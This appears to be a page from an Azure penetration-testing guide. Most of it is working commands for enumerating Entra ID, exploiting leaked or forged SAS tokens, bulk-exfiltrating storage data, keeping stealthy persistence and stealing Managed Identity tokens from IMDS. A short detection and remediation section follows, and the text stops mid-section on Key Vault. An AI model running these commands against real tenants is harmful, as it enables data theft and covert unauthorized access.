Cloud Security

Azure Pentesting

Azure pentesting involves assessing Entra ID (formerly Azure AD), Storage Accounts, Virtual Machines, and App Services. Identity attacks are particularly prevalent in Azure environments.

Azure Attack Methodology

1. Reconnaissance

  • Tenant enumeration (domain → tenant ID)
  • User enumeration via Azure APIs
  • Subdomain discovery (*.azurewebsites.net)
  • Storage blob enumeration

2. Initial Access

  • Password spraying (avoid lockouts)
  • Token theft (phishing, SSRF)
  • Exposed credentials in repos
  • Consent phishing (illicit app grants)

3. Privilege Escalation

  • Managed Identity abuse
  • App Registration secrets
  • Automation Account Runbooks
  • Key Vault access policies

4. Persistence

  • Service Principal creation
  • Federation trust abuse
  • App consent backdoors
  • Custom role assignments

Azure Pentesting Kill Chain

flowchart LR R["🔍 Recon Tenant Enum Subdomain Discovery"] --> IA["🚪 Initial Access Password Spray Token Theft"] IA --> E["📋 Enumerate Entra ID / RBAC Storage / Key Vault"] E --> PE["⬆️ Priv Esc Managed Identity Automation Abuse"] PE --> LM["↔️ Lateral Movement Subscription Hop Hybrid AD"] LM --> P["🔒 Persistence SAS Tokens App Backdoors"] P --> EX["📤 Exfiltration Blob Download Secret Harvest"]

Initial Access & Enumeration

Azure CLI Authentication

bash
# Interactive login (browser)
az login

# Login with service principal
az login --service-principal -u <app-id> -p <password> --tenant <tenant-id>

# Login with managed identity (from Azure VM/Function)
az login --identity

# List accessible subscriptions
az account list --output table

# Set active subscription
az account set --subscription "Subscription Name"
# Interactive login (browser)
az login

# Login with service principal
az login --service-principal -u <app-id> -p <password> --tenant <tenant-id>

# Login with managed identity (from Azure VM/Function)
az login --identity

# List accessible subscriptions
az account list --output table

# Set active subscription
az account set --subscription "Subscription Name"

Tenant Enumeration (Unauthenticated)

bash
# Get tenant ID from domain
curl https://login.microsoftonline.com/<domain>/.well-known/openid-configuration

# Check if user exists (returns different error codes)
# Valid user: AADSTS50034 (user doesn't exist) vs AADSTS50126 (wrong password)
curl -X POST https://login.microsoftonline.com/<tenant>/oauth2/token \
  -d "grant_type=password&username=user@domain.com&password=test&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&resource=https://graph.microsoft.com"

# AADInternals user enumeration (no auth needed)
Invoke-AADIntReconAsOutsider -DomainName domain.com
# Get tenant ID from domain
curl https://login.microsoftonline.com/<domain>/.well-known/openid-configuration

# Check if user exists (returns different error codes)
# Valid user: AADSTS50034 (user doesn't exist) vs AADSTS50126 (wrong password)
curl -X POST https://login.microsoftonline.com/<tenant>/oauth2/token \
  -d "grant_type=password&username=user@domain.com&password=test&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&resource=https://graph.microsoft.com"

# AADInternals user enumeration (no auth needed)
Invoke-AADIntReconAsOutsider -DomainName domain.com

Entra ID User & Group Enumeration

bash
# List all users
az ad user list --output table
az ad user list --query "[].{Name:displayName,UPN:userPrincipalName,ID:id}" -o table

# Get specific user details
az ad user show --id user@domain.com

# List all groups
az ad group list --output table

# List group members
az ad group member list --group "Group Name" --query "[].{Name:displayName,UPN:userPrincipalName}"

# Find privileged users (Global Admins, etc.)
az ad directory-role list --query "[?displayName=='Global Administrator'].{Name:displayName,ID:id}"
az ad directory-role-member list --role-id <role-id>
# List all users
az ad user list --output table
az ad user list --query "[].{Name:displayName,UPN:userPrincipalName,ID:id}" -o table

# Get specific user details
az ad user show --id user@domain.com

# List all groups
az ad group list --output table

# List group members
az ad group member list --group "Group Name" --query "[].{Name:displayName,UPN:userPrincipalName}"

# Find privileged users (Global Admins, etc.)
az ad directory-role list --query "[?displayName=='Global Administrator'].{Name:displayName,ID:id}"
az ad directory-role-member list --role-id <role-id>

Application & Service Principal Enumeration

bash
# List all app registrations
az ad app list --query "[].{Name:displayName,AppId:appId,ID:id}" -o table

# List service principals (enterprise apps)
az ad sp list --query "[].{Name:displayName,AppId:appId,Type:servicePrincipalType}" -o table

# Find apps with credentials (potential targets)
az ad app list --query "[?passwordCredentials!=null].{Name:displayName,AppId:appId}" -o table

# Check app permissions (look for high-privilege)
az ad app permission list --id <app-id>
# List all app registrations
az ad app list --query "[].{Name:displayName,AppId:appId,ID:id}" -o table

# List service principals (enterprise apps)
az ad sp list --query "[].{Name:displayName,AppId:appId,Type:servicePrincipalType}" -o table

# Find apps with credentials (potential targets)
az ad app list --query "[?passwordCredentials!=null].{Name:displayName,AppId:appId}" -o table

# Check app permissions (look for high-privilege)
az ad app permission list --id <app-id>

Storage Account Attacks

Warning

Common Misconfiguration: Storage accounts with anonymous access enabled or overly permissive SAS tokens are frequent findings in Azure assessments.

Storage Enumeration

bash
# List storage accounts
az storage account list --query "[].{Name:name,Location:location,Kind:kind}" -o table

# List containers in storage account
az storage container list --account-name <storage-account> --output table

# Check for anonymous access
az storage container show --account-name <storage-account> --name <container> --query "properties.publicAccess"

# List blobs (anonymous)
az storage blob list --account-name <storage-account> --container-name <container> --auth-mode anonymous

# Download blob
az storage blob download --account-name <storage-account> --container-name <container> --name <blob> --file ./downloaded-file
# List storage accounts
az storage account list --query "[].{Name:name,Location:location,Kind:kind}" -o table

# List containers in storage account
az storage container list --account-name <storage-account> --output table

# Check for anonymous access
az storage container show --account-name <storage-account> --name <container> --query "properties.publicAccess"

# List blobs (anonymous)
az storage blob list --account-name <storage-account> --container-name <container> --auth-mode anonymous

# Download blob
az storage blob download --account-name <storage-account> --container-name <container> --name <blob> --file ./downloaded-file

Storage Account Key Theft

bash
# If you have sufficient permissions, list storage keys
az storage account keys list --account-name <storage-account> --resource-group <rg>

# Use key to access all data
az storage blob list --account-name <storage-account> --container-name <container> --account-key <key>

# Generate SAS token for persistence
az storage account generate-sas --account-name <storage-account> --account-key <key> \
  --permissions rwdlac --services bfqt --resource-types sco \
  --expiry 2025-12-31T23:59:59Z
# If you have sufficient permissions, list storage keys
az storage account keys list --account-name <storage-account> --resource-group <rg>

# Use key to access all data
az storage blob list --account-name <storage-account> --container-name <container> --account-key <key>

# Generate SAS token for persistence
az storage account generate-sas --account-name <storage-account> --account-key <key> \
  --permissions rwdlac --services bfqt --resource-types sco \
  --expiry 2025-12-31T23:59:59Z

SAS Token Exploitation & Shared Key Authorization Abuse

Warning

High-Impact Finding: SAS tokens are bearer credentials embedded in URLs. Anyone who obtains a SAS URL can access the storage resource — no Azure login, CLI, or authentication required. Just a browser or curl.

When Shared Key authorization is enabled (the default), anyone with a storage account key can forge unlimited SAS tokens granting any permission scope — and these tokens are unrevocable until the signing key is rotated.

Reference: Orca Security research demonstrated that Shared Key authorization exploitation is one of the most impactful Azure storage attack vectors. SAS tokens also frequently leak in GitHub repos, client-side JavaScript, Postman collections, and application logs.

SAS Token Attack Flow

flowchart LR A["🔍 Discover Storage Key"] --> B["🔑 Forge SAS Token"] B --> C["📦 Access All Containers"] C --> D["📤 Exfiltrate Sensitive Data"] B --> E["💣 Write Malicious Blobs"] B --> F["🕐 Create Persistent Token"] F --> G["Key Rotated? Token Invalidated"] F --> H["Key NOT Rotated? Persistent Access"] style A fill:#f87171,stroke:#000,color:#000 style B fill:#ec4899,stroke:#000,color:#000 style C fill:#a855f7,stroke:#000,color:#000 style D fill:#22d3ee,stroke:#000,color:#000 style E fill:#f97316,stroke:#000,color:#000 style H fill:#4ade80,stroke:#000,color:#000

Exploiting SAS Tokens Found in the Wild (No Azure Credentials Needed)

The simplest SAS attack requires zero Azure access. SAS tokens are frequently exposed in public GitHub repos, client-side JavaScript bundles, Postman collections, CI/CD logs, Slack messages, and documentation. Once you find a SAS URL, you can exploit it immediately from any machine with curl.

exploit-public-sas.sh
bash
# ============================================================
# STEP 1 -- Find a leaked SAS URL
# Common sources: GitHub search, Postman, JS bundles, logs
# ============================================================

# GitHub search (look for Azure storage SAS tokens in public repos)
# Search queries:
#   "blob.core.windows.net" AND "sig="
#   "DefaultEndpointsProtocol" AND "SharedAccessSignature"
#   "sv=" AND "ss=" AND "sig="

# Example leaked SAS URL (found in a public repo / JS bundle / docs):
SAS_URL="https://corpdata.blob.core.windows.net/exports?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIGNATURE"

# ============================================================
# STEP 2 -- Verify the token works (from any machine, no login)
# ============================================================

# List all containers (Account SAS with list permission)
curl -s "$SAS_URL&comp=list" | xmllint --format -

# List blobs in a specific container
curl -s "https://corpdata.blob.core.windows.net/exports?restype=container&comp=list&sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG" | xmllint --format -

# Expected output (XML listing of blobs):
# <EnumerationResults>
#   <Blobs>
#     <Blob><Name>backups/db-2024.sql</Name><Properties>...</Properties></Blob>
#     <Blob><Name>exports/client-data.csv</Name><Properties>...</Properties></Blob>
#   </Blobs>
# </EnumerationResults>

# ============================================================
# STEP 3 -- Download sensitive files directly
# ============================================================

# Download a specific blob (append blob path before the SAS params)
curl -o database_backup.sql \
  "https://corpdata.blob.core.windows.net/exports/backups/db-2024.sql?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG"

# Or just paste the full SAS URL in a browser -- it downloads directly!

# Download all blobs from a container using azcopy (faster for bulk)
azcopy copy "https://corpdata.blob.core.windows.net/exports?SAS_TOKEN" ./exfil --recursive

# ============================================================
# STEP 4 -- Check write access (if sp= includes 'w')
# ============================================================

# Upload a test file (proves write access -- critical finding)
curl -X PUT -H "x-ms-blob-type: BlockBlob" -d "pentest-proof" \
  "https://corpdata.blob.core.windows.net/exports/pentest-proof.txt?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG"

# ============================================================
# STEP 5 -- GUI: Use Azure Storage Explorer with leaked SAS
# ============================================================

# 1. Open Azure Storage Explorer (free tool from Microsoft)
# 2. Click "Connect" -> "Storage account or service" -> "Shared access signature URL (SAS)"
# 3. Paste the full SAS URL
# 4. Browse all containers/blobs with a visual file explorer
# 5. Right-click -> Download to exfiltrate files
# This is the easiest method -- no CLI knowledge needed
# ============================================================
# STEP 1 -- Find a leaked SAS URL
# Common sources: GitHub search, Postman, JS bundles, logs
# ============================================================

# GitHub search (look for Azure storage SAS tokens in public repos)
# Search queries:
#   "blob.core.windows.net" AND "sig="
#   "DefaultEndpointsProtocol" AND "SharedAccessSignature"
#   "sv=" AND "ss=" AND "sig="

# Example leaked SAS URL (found in a public repo / JS bundle / docs):
SAS_URL="https://corpdata.blob.core.windows.net/exports?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIGNATURE"

# ============================================================
# STEP 2 -- Verify the token works (from any machine, no login)
# ============================================================

# List all containers (Account SAS with list permission)
curl -s "$SAS_URL&comp=list" | xmllint --format -

# List blobs in a specific container
curl -s "https://corpdata.blob.core.windows.net/exports?restype=container&comp=list&sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG" | xmllint --format -

# Expected output (XML listing of blobs):
# <EnumerationResults>
#   <Blobs>
#     <Blob><Name>backups/db-2024.sql</Name><Properties>...</Properties></Blob>
#     <Blob><Name>exports/client-data.csv</Name><Properties>...</Properties></Blob>
#   </Blobs>
# </EnumerationResults>

# ============================================================
# STEP 3 -- Download sensitive files directly
# ============================================================

# Download a specific blob (append blob path before the SAS params)
curl -o database_backup.sql \
  "https://corpdata.blob.core.windows.net/exports/backups/db-2024.sql?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG"

# Or just paste the full SAS URL in a browser -- it downloads directly!

# Download all blobs from a container using azcopy (faster for bulk)
azcopy copy "https://corpdata.blob.core.windows.net/exports?SAS_TOKEN" ./exfil --recursive

# ============================================================
# STEP 4 -- Check write access (if sp= includes 'w')
# ============================================================

# Upload a test file (proves write access -- critical finding)
curl -X PUT -H "x-ms-blob-type: BlockBlob" -d "pentest-proof" \
  "https://corpdata.blob.core.windows.net/exports/pentest-proof.txt?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&spr=https&sig=BASE64SIG"

# ============================================================
# STEP 5 -- GUI: Use Azure Storage Explorer with leaked SAS
# ============================================================

# 1. Open Azure Storage Explorer (free tool from Microsoft)
# 2. Click "Connect" -> "Storage account or service" -> "Shared access signature URL (SAS)"
# 3. Paste the full SAS URL
# 4. Browse all containers/blobs with a visual file explorer
# 5. Right-click -> Download to exfiltrate files
# This is the easiest method -- no CLI knowledge needed

Information

Key Point: The above attack requires no Azure credentials, no CLI login, no subscription access — only the SAS URL. This is why SAS token leaks are critical findings. A single URL grants direct storage access from anywhere on the internet.

Understanding SAS Token Structure

A Shared Access Signature (SAS) is a URI query string that grants scoped access to storage resources. Three types exist — Account SAS, Service SAS, and User Delegation SAS — each with different implications for attackers.

Account SAS

Signed with storage account key. Grants access across all services (blob, file, queue, table). Cannot be revoked without key rotation.

Service SAS

Signed with storage account key. Scoped to a single service (e.g., blob only). Also unrevocable without key rotation.

User Delegation SAS

Signed with Entra ID credentials. Scoped and revocable. Most secure option — but rarely used in practice.

parse-sas-token.sh
bash
# SAS Token anatomy — parse a discovered token
# Example: ?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&st=2024-01-01&spr=https&sig=BASE64...
#
# sv  = Signed version (API version)
# ss  = Signed services:  b=Blob  f=File  q=Queue  t=Table
# srt = Signed resource types:  s=Service  c=Container  o=Object
# sp  = Signed permissions: r=Read w=Write d=Delete l=List a=Add c=Create u=Update p=Process
# se  = Expiry time (UTC)
# st  = Start time (UTC)
# spr = Allowed protocols (https, https+http)
# sig = HMAC-SHA256 signature (base64)
#
# RED FLAGS in a SAS token:
# - ss=bfqt  (all services)
# - srt=sco  (all resource types)
# - sp=rwdlacup  (all permissions — full access)
# - se= far future date (long-lived token)
# - spr=https,http  (allows unencrypted HTTP)

# Quick decode — extract and analyze a SAS token from a URL
echo "https://storageacct.blob.core.windows.net/container?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01" | \
  sed 's/.*?//' | tr '&' '\n' | while IFS='=' read -r key val; do
    echo "  $key = $val"
  done
# SAS Token anatomy — parse a discovered token
# Example: ?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01&st=2024-01-01&spr=https&sig=BASE64...
#
# sv  = Signed version (API version)
# ss  = Signed services:  b=Blob  f=File  q=Queue  t=Table
# srt = Signed resource types:  s=Service  c=Container  o=Object
# sp  = Signed permissions: r=Read w=Write d=Delete l=List a=Add c=Create u=Update p=Process
# se  = Expiry time (UTC)
# st  = Start time (UTC)
# spr = Allowed protocols (https, https+http)
# sig = HMAC-SHA256 signature (base64)
#
# RED FLAGS in a SAS token:
# - ss=bfqt  (all services)
# - srt=sco  (all resource types)
# - sp=rwdlacup  (all permissions — full access)
# - se= far future date (long-lived token)
# - spr=https,http  (allows unencrypted HTTP)

# Quick decode — extract and analyze a SAS token from a URL
echo "https://storageacct.blob.core.windows.net/container?sv=2022-11-02&ss=bfqt&srt=sco&sp=rwdlacup&se=2027-01-01" | \
  sed 's/.*?//' | tr '&' '\n' | while IFS='=' read -r key val; do
    echo "  $key = $val"
  done

Phase 1 — Discovering SAS Tokens & Storage Keys

Beyond public leaks, SAS tokens and storage keys can be harvested from within an Azure environment when you have authenticated access. Check all of these vectors:

discover-storage-keys.sh
bash
# === Source 1: Azure Resource Manager — list keys directly ===
# Requires: Microsoft.Storage/storageAccounts/listKeys/action
az storage account keys list --account-name targetaccount -o json

# === Source 2: App Service / Function App environment variables ===
# Connection strings often contain AccountKey= or SAS tokens
az webapp config connection-string list --name <app-name> --resource-group <rg>
az webapp config appsettings list --name <app-name> --resource-group <rg> | grep -i "storage\|sas\|account"
az functionapp config appsettings list --name <func-name> --resource-group <rg>

# === Source 3: Key Vault secrets (if you have access) ===
az keyvault secret list --vault-name <vault>
az keyvault secret show --vault-name <vault> --name <secret-containing-key>

# === Source 4: Automation Account Runbooks (often store connection strings) ===
az automation runbook list --automation-account-name <account> --resource-group <rg>

# === Source 5: ARM template deployment history (may contain keys in outputs) ===
az deployment group list --resource-group <rg>
az deployment group show --resource-group <rg> --name <deployment-name> --query "properties.outputs"

# === Source 6: Git repos / code search ===
# Search for connection strings in cloned repos
grep -rn "AccountKey=\|SharedAccessSignature=\|sig=" . --include="*.config" --include="*.json" --include="*.env" --include="*.yaml"
grep -rn "DefaultEndpointsProtocol=https;AccountName=" . --include="*.cs" --include="*.py" --include="*.js"
# === Source 1: Azure Resource Manager — list keys directly ===
# Requires: Microsoft.Storage/storageAccounts/listKeys/action
az storage account keys list --account-name targetaccount -o json

# === Source 2: App Service / Function App environment variables ===
# Connection strings often contain AccountKey= or SAS tokens
az webapp config connection-string list --name <app-name> --resource-group <rg>
az webapp config appsettings list --name <app-name> --resource-group <rg> | grep -i "storage\|sas\|account"
az functionapp config appsettings list --name <func-name> --resource-group <rg>

# === Source 3: Key Vault secrets (if you have access) ===
az keyvault secret list --vault-name <vault>
az keyvault secret show --vault-name <vault> --name <secret-containing-key>

# === Source 4: Automation Account Runbooks (often store connection strings) ===
az automation runbook list --automation-account-name <account> --resource-group <rg>

# === Source 5: ARM template deployment history (may contain keys in outputs) ===
az deployment group list --resource-group <rg>
az deployment group show --resource-group <rg> --name <deployment-name> --query "properties.outputs"

# === Source 6: Git repos / code search ===
# Search for connection strings in cloned repos
grep -rn "AccountKey=\|SharedAccessSignature=\|sig=" . --include="*.config" --include="*.json" --include="*.env" --include="*.yaml"
grep -rn "DefaultEndpointsProtocol=https;AccountName=" . --include="*.cs" --include="*.py" --include="*.js"

Phase 2 — Forging SAS Tokens from Stolen Keys

With a storage account key, you can forge SAS tokens with any permission scope. This is the core of the Shared Key authorization exploitation — the key is a master credential.

forge-sas-tokens.sh
bash
# Generate an Account SAS with FULL permissions (all services, all resources)
az storage account generate-sas \
  --account-name targetaccount \
  --account-key "STOLEN_KEY_HERE" \
  --services bfqt \
  --resource-types sco \
  --permissions rwdlacup \
  --expiry 2027-12-31T23:59:59Z \
  --https-only \
  --output tsv

# Generate a scoped Service SAS for a single container (stealthier)
az storage container generate-sas \
  --account-name targetaccount \
  --name sensitive-data \
  --account-key "STOLEN_KEY_HERE" \
  --permissions rl \
  --expiry 2027-06-30T23:59:59Z \
  --output tsv

# Use the forged SAS to access blobs directly (no Azure CLI auth needed)
BLOB_URL="https://targetaccount.blob.core.windows.net/sensitive-data?<SAS_TOKEN>"
curl "$BLOB_URL&restype=container&comp=list" | xmllint --format -

# Download specific blob with SAS
curl "https://targetaccount.blob.core.windows.net/sensitive-data/credentials.json?<SAS_TOKEN>" -o creds.json
# Generate an Account SAS with FULL permissions (all services, all resources)
az storage account generate-sas \
  --account-name targetaccount \
  --account-key "STOLEN_KEY_HERE" \
  --services bfqt \
  --resource-types sco \
  --permissions rwdlacup \
  --expiry 2027-12-31T23:59:59Z \
  --https-only \
  --output tsv

# Generate a scoped Service SAS for a single container (stealthier)
az storage container generate-sas \
  --account-name targetaccount \
  --name sensitive-data \
  --account-key "STOLEN_KEY_HERE" \
  --permissions rl \
  --expiry 2027-06-30T23:59:59Z \
  --output tsv

# Use the forged SAS to access blobs directly (no Azure CLI auth needed)
BLOB_URL="https://targetaccount.blob.core.windows.net/sensitive-data?<SAS_TOKEN>"
curl "$BLOB_URL&restype=container&comp=list" | xmllint --format -

# Download specific blob with SAS
curl "https://targetaccount.blob.core.windows.net/sensitive-data/credentials.json?<SAS_TOKEN>" -o creds.json
sas_exploitation.py
python
"""Python: Forge and use SAS tokens programmatically."""
from azure.storage.blob import BlobServiceClient, generate_account_sas, ResourceTypes, AccountSasPermissions
from datetime import datetime, timedelta, timezone

account_name = "targetaccount"
account_key  = "STOLEN_ACCOUNT_KEY"

# Generate full-access Account SAS
sas_token = generate_account_sas(
    account_name=account_name,
    account_key=account_key,
    resource_types=ResourceTypes(service=True, container=True, object=True),
    permission=AccountSasPermissions(read=True, write=True, delete=True, list=True),
    expiry=datetime.now(timezone.utc) + timedelta(days=365),
    protocol="https"
)

# Connect and enumerate all containers + blobs
client = BlobServiceClient(
    account_url=f"https://{account_name}.blob.core.windows.net",
    credential=sas_token
)

for container in client.list_containers():
    print(f"\n[+] Container: {container['name']}")
    container_client = client.get_container_client(container['name'])
    for blob in container_client.list_blobs():
        print(f"    {blob.name}  ({blob.size} bytes, modified: {blob.last_modified})")
"""Python: Forge and use SAS tokens programmatically."""
from azure.storage.blob import BlobServiceClient, generate_account_sas, ResourceTypes, AccountSasPermissions
from datetime import datetime, timedelta, timezone

account_name = "targetaccount"
account_key  = "STOLEN_ACCOUNT_KEY"

# Generate full-access Account SAS
sas_token = generate_account_sas(
    account_name=account_name,
    account_key=account_key,
    resource_types=ResourceTypes(service=True, container=True, object=True),
    permission=AccountSasPermissions(read=True, write=True, delete=True, list=True),
    expiry=datetime.now(timezone.utc) + timedelta(days=365),
    protocol="https"
)

# Connect and enumerate all containers + blobs
client = BlobServiceClient(
    account_url=f"https://{account_name}.blob.core.windows.net",
    credential=sas_token
)

for container in client.list_containers():
    print(f"\n[+] Container: {container['name']}")
    container_client = client.get_container_client(container['name'])
    for blob in container_client.list_blobs():
        print(f"    {blob.name}  ({blob.size} bytes, modified: {blob.last_modified})")

Phase 3 — Data Exfiltration & Lateral Movement

exfiltrate-storage.sh
bash
# Bulk download all blobs from a container
az storage blob download-batch \
  --destination ./exfil \
  --source sensitive-data \
  --account-name targetaccount \
  --sas-token "<SAS_TOKEN>"

# Check for Table Storage (often contains logs, config, user data)
az storage table list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage table entity query --table-name UserSessions --account-name targetaccount --sas-token "<SAS_TOKEN>"

# Check for Queue messages (may contain tokens, task payloads)
az storage queue list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage message peek --queue-name tasks --account-name targetaccount --sas-token "<SAS_TOKEN>"

# Check File Shares (SMB-accessible file storage)
az storage share list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage file list --share-name internal-docs --account-name targetaccount --sas-token "<SAS_TOKEN>"
# Bulk download all blobs from a container
az storage blob download-batch \
  --destination ./exfil \
  --source sensitive-data \
  --account-name targetaccount \
  --sas-token "<SAS_TOKEN>"

# Check for Table Storage (often contains logs, config, user data)
az storage table list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage table entity query --table-name UserSessions --account-name targetaccount --sas-token "<SAS_TOKEN>"

# Check for Queue messages (may contain tokens, task payloads)
az storage queue list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage message peek --queue-name tasks --account-name targetaccount --sas-token "<SAS_TOKEN>"

# Check File Shares (SMB-accessible file storage)
az storage share list --account-name targetaccount --sas-token "<SAS_TOKEN>"
az storage file list --share-name internal-docs --account-name targetaccount --sas-token "<SAS_TOKEN>"

Phase 4 — Persistence via SAS Tokens

Why SAS Tokens Make Excellent Backdoors
  • • SAS-authenticated requests are not logged in Azure Activity Log (only in Storage Analytics, which is often disabled)
  • • Tokens are bearer credentials — no Azure AD authentication required, works from any network
  • • Account/Service SAS tokens cannot be individually revoked — the only remediation is rotating the signing key
  • • Rotating key1 still leaves key2 valid (both must be rotated)
  • • Long-lived tokens survive password resets, MFA changes, and Conditional Access policy updates
sas-persistence.sh
bash
# Create a long-lived SAS for persistent access (stealthy)
# Use a far-future expiry and restrict to read-only to avoid detection
az storage container generate-sas \
  --account-name targetaccount \
  --name sensitive-data \
  --account-key "STOLEN_KEY" \
  --permissions rl \
  --expiry 2028-12-31T23:59:59Z \
  --output tsv

# Validate SAS still works after victim changes passwords / enables MFA
curl -s -o /dev/null -w "%{http_code}" \
  "https://targetaccount.blob.core.windows.net/sensitive-data?restype=container&comp=list&<SAS_TOKEN>"
# 200 = still valid, 403 = key was rotated

# Check if Shared Key auth is disabled (blocks SAS forging)
az storage account show --name targetaccount \
  --query "{SharedKeyEnabled:allowSharedKeyAccess}" -o table
# Create a long-lived SAS for persistent access (stealthy)
# Use a far-future expiry and restrict to read-only to avoid detection
az storage container generate-sas \
  --account-name targetaccount \
  --name sensitive-data \
  --account-key "STOLEN_KEY" \
  --permissions rl \
  --expiry 2028-12-31T23:59:59Z \
  --output tsv

# Validate SAS still works after victim changes passwords / enables MFA
curl -s -o /dev/null -w "%{http_code}" \
  "https://targetaccount.blob.core.windows.net/sensitive-data?restype=container&comp=list&<SAS_TOKEN>"
# 200 = still valid, 403 = key was rotated

# Check if Shared Key auth is disabled (blocks SAS forging)
az storage account show --name targetaccount \
  --query "{SharedKeyEnabled:allowSharedKeyAccess}" -o table

Detection & Prevention

Defensive Measures
  • Disable Shared Key authorization — force Entra ID (RBAC) only
  • • Use User Delegation SAS instead of Account/Service SAS
  • • Enable Storage Analytics logging to detect SAS-based access
  • • Implement key rotation on a schedule (90-day max)
  • • Use Azure Policy to enforce allowSharedKeyAccess = false
  • • Set Stored Access Policies on containers (allows revoking Service SAS)
Detection Indicators
  • ListKeys calls in Activity Log (attacker extracting keys)
  • • Unusual Storage Analytics entries from unknown IPs
  • • SAS tokens with ss=bfqt&srt=sco&sp=rwdlacup (full access)
  • • Blob access from IPs outside normal ranges
  • • Spike in GetBlob / ListBlobs operations
  • • Microsoft Defender for Storage alerts on anomalous access
remediation.sh
bash
# REMEDIATION: Disable Shared Key authorization (forces Entra ID RBAC only)
az storage account update \
  --name targetaccount \
  --resource-group prod-rg \
  --allow-shared-key-access false

# REMEDIATION: Rotate BOTH storage account keys to invalidate all existing SAS tokens
az storage account keys renew --account-name targetaccount --resource-group prod-rg --key key1
az storage account keys renew --account-name targetaccount --resource-group prod-rg --key key2

# DETECTION: Enable Storage Analytics logging
az storage logging update \
  --account-name targetaccount \
  --log rwd \
  --retention 90 \
  --services b \
  --version 2.0

# AUDIT: Check all storage accounts for Shared Key status
az storage account list --query "[].{Name:name, SharedKey:allowSharedKeyAccess}" -o table
# REMEDIATION: Disable Shared Key authorization (forces Entra ID RBAC only)
az storage account update \
  --name targetaccount \
  --resource-group prod-rg \
  --allow-shared-key-access false

# REMEDIATION: Rotate BOTH storage account keys to invalidate all existing SAS tokens
az storage account keys renew --account-name targetaccount --resource-group prod-rg --key key1
az storage account keys renew --account-name targetaccount --resource-group prod-rg --key key2

# DETECTION: Enable Storage Analytics logging
az storage logging update \
  --account-name targetaccount \
  --log rwd \
  --retention 90 \
  --services b \
  --version 2.0

# AUDIT: Check all storage accounts for Shared Key status
az storage account list --query "[].{Name:name, SharedKey:allowSharedKeyAccess}" -o table

Managed Identity Exploitation

Managed Identities allow Azure resources to authenticate without credentials. If you compromise a VM, App Service, or Function with a Managed Identity, you can steal tokens for lateral movement.

Token Theft from IMDS

bash
# Azure Instance Metadata Service (IMDS) - available from within Azure resources
# Get instance metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq

# Get access token for ARM (Azure Resource Manager)
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq

# Get token for Microsoft Graph
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | jq

# Get token for Key Vault
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | jq

# Get token for Storage
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" | jq
# Azure Instance Metadata Service (IMDS) - available from within Azure resources
# Get instance metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq

# Get access token for ARM (Azure Resource Manager)
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq

# Get token for Microsoft Graph
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | jq

# Get token for Key Vault
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | jq

# Get token for Storage
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" | jq

Using Stolen Tokens

bash
# Use ARM token with Azure CLI
az account get-access-token  # Normal way
# OR use stolen token:
export AZURE_ACCESS_TOKEN="<stolen-token>"

# Use token with REST API directly
curl -H "Authorization: Bearer <token>" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Use token with Microsoft Graph
curl -H "Authorization: Bearer <graph-token>" \
  "https://graph.microsoft.com/v1.0/me"

# PowerShell - Connect with token
$token = "<stolen-token>"
Connect-AzAccount -AccessToken $token -AccountId <user-id>
# Use ARM token with Azure CLI
az account get-access-token  # Normal way
# OR use stolen token:
export AZURE_ACCESS_TOKEN="<stolen-token>"

# Use token with REST API directly
curl -H "Authorization: Bearer <token>" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Use token with Microsoft Graph
curl -H "Authorization: Bearer <graph-token>" \
  "https://graph.microsoft.com/v1.0/me"

# PowerShell - Connect with token
$token = "<stolen-token>"
Connect-AzAccount -AccessToken $token -AccountId <user-id>

Tip

Tip: Check what permissions the Managed Identity has by querying role assignments. Many organizations over-permission their Managed Identities with Contributor or Owner roles.

Key Vault Attacks

bash
# List accessible Key Vaults
az keyvault list --query "[].{Name:name,Location:location}" -o table

# List secrets in vault
az keyvault secret list --vault-name <vault-name> --query "[].{Name:name,Enabled:attributes.enabled}"

# Get secret value
